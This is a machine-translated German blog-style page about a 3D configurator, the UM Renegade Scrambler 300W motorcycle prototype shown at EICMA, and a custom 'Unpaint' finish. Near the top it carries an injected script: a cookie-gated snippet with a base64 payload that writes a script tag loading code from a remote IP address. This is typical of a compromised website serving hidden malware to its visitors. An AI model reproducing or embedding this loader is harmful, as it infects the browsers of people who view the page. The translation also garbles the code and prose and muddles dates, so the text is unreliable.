November 2017

Ein 3D-Global Configurator

Ein Beispiel für eine mögliche Freisetzung in 3D-Konfigurator WEB-Modus.
Es kann auch im Vollbildmodus verwendet werden.
Erfordert Grafikkarte GTX oder ähnlich.

uot;> Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}

UM RENEGADE SCRAMBLER 300W

Die UM RENEGADE SCRAMBLER 300W ist ein Prototyp (showbike) für UM Globale auf der Basis ihres Produktes auf dem Markt geschaffen, Der Renegat COMMANDO.

Von der ursprünglichen Bewegung natürlich hatten wir so viele Teile wie möglich zu halten, den gesamten Engineering-Prozess und in der Produktion zu optimieren, wir haben auch einige der tatsächlichen Produktionsteile UM so consertire Unternehmen eine vorteilhafte Wirtschaftlichkeit durch Massenproduktion wiederverwendet.
Die wichtigste Änderung ist offensichtlich an die neuen Radgrößen betroffen ( 120/70 R19 Ant. e 170/60 R17 Post.) mussten wir nutzen dem Motorrad einen neuen Enduro-Trimm geben, Wir haben dann wieder abgestrahlt bestehenden Hubs mit einem neuen Satz von Takasago Excel und montiert die panciutissimi und tassellatissimi Continental TKC 80.
Ebenso hatten wir das Fahrrad am Set heben zu intervenieren, dann der Rücken wir für ein paar Stoßdämpfer entschieden 380mm, während die Gabel hat die Serie bleibt Investitionen zu begrenzen.

Für Aufbauten zogen wir gerne von denen, die die componentistic Serienproduktion UM sind, immer auf höchstem Niveau als das Ende des Markts sein, Mischen klassische Elemente mit moderneren Teilen, und in einigen Fällen "störend" als Unterfahrschutz in 4 mm Blech mit unserer Technik hergestellt "Blatt-Box". Wir erleben auch ein Novum in dem Motorrad-Bereich, nämlich die Schaffung von Holzkomponenten von 3D-Design durch numerisch gesteuerten Fräsen hergestellt (CNC), und aus "Wangen" Tank mit einem perfekten Form Lager auf den Oberflächen des Originalbehälters und einige Details im hinteren Bereich.

Der Rest der Teile ist in der 3D-Druck, sondern auch von lokalen Handwerkern hergestellt, die schöne Lederpolsterung ist ein Beispiel, sondern auch das Blech Kotflügeln scherzen nicht.
Das Motorrad wurde bei Motorradmesse EICMA in Mailand präsentiert 2018 und nach Ansicht vieler ist eine der spannendsten Features, die zu sehen sind.

Nur von EICMA zurück 2017

Eine schöne Galerie von Fotos von der Veranstaltung EICMA an dem UM Globalen Stand, den uns zu Teilhabern der Erstellung des Prototyps sahen, die Sie in den Bildern und die Herstellung der sehen können "Customization Corner". Ziel beider Projekte war auf dem italienischen Markt als Reaktion auf die Bewegung erzeugt UM und auch die neuen Möglichkeiten, die individuell gestaltet werden angeboten zu analysieren, um zu bewerten "auf Nachfrage" In den modernen Prototyping und 3D-Drucktechniken verknüpft.

Die Ergebnisse in Bezug auf die öffentliche Reaktion war äußerst lohnend.
Dank denen, die uns zu begrüßen ging an und um zu sehen, was wir getan haben.

H2 – FINISH “UNPAINT”

L‘"UNPAINT" ist ein Veredelungsverfahren, die wir in GEGEBEN entwickelt haben.

Es ist ein Vorschlag, die individuell gestaltet "Licht" für die Fahrräder, die bereits einen guten Stil oder Design, gibt es viele und heute ... auf die wir mögen die Idee nicht zu intervenieren.

Ein minimal-invasives Verfahren dann, die behält die funktionellen Eigenschaften der Reihe von Bewegungs (Paarungen, Qualität und Funktionalität), während gibt das Fahrrad einen persönlichen Look, erfahrensten und auch mehr nutzbar.

Das Finish ist nichts anderes als ein lange Korrespondenz Prozess mit unterschiedlichen Körnern Karten, Farbbasen, die dann vermischt werden,, Grafik, Logos, verschiedene Aufkleber und schließlich transparenter Lack.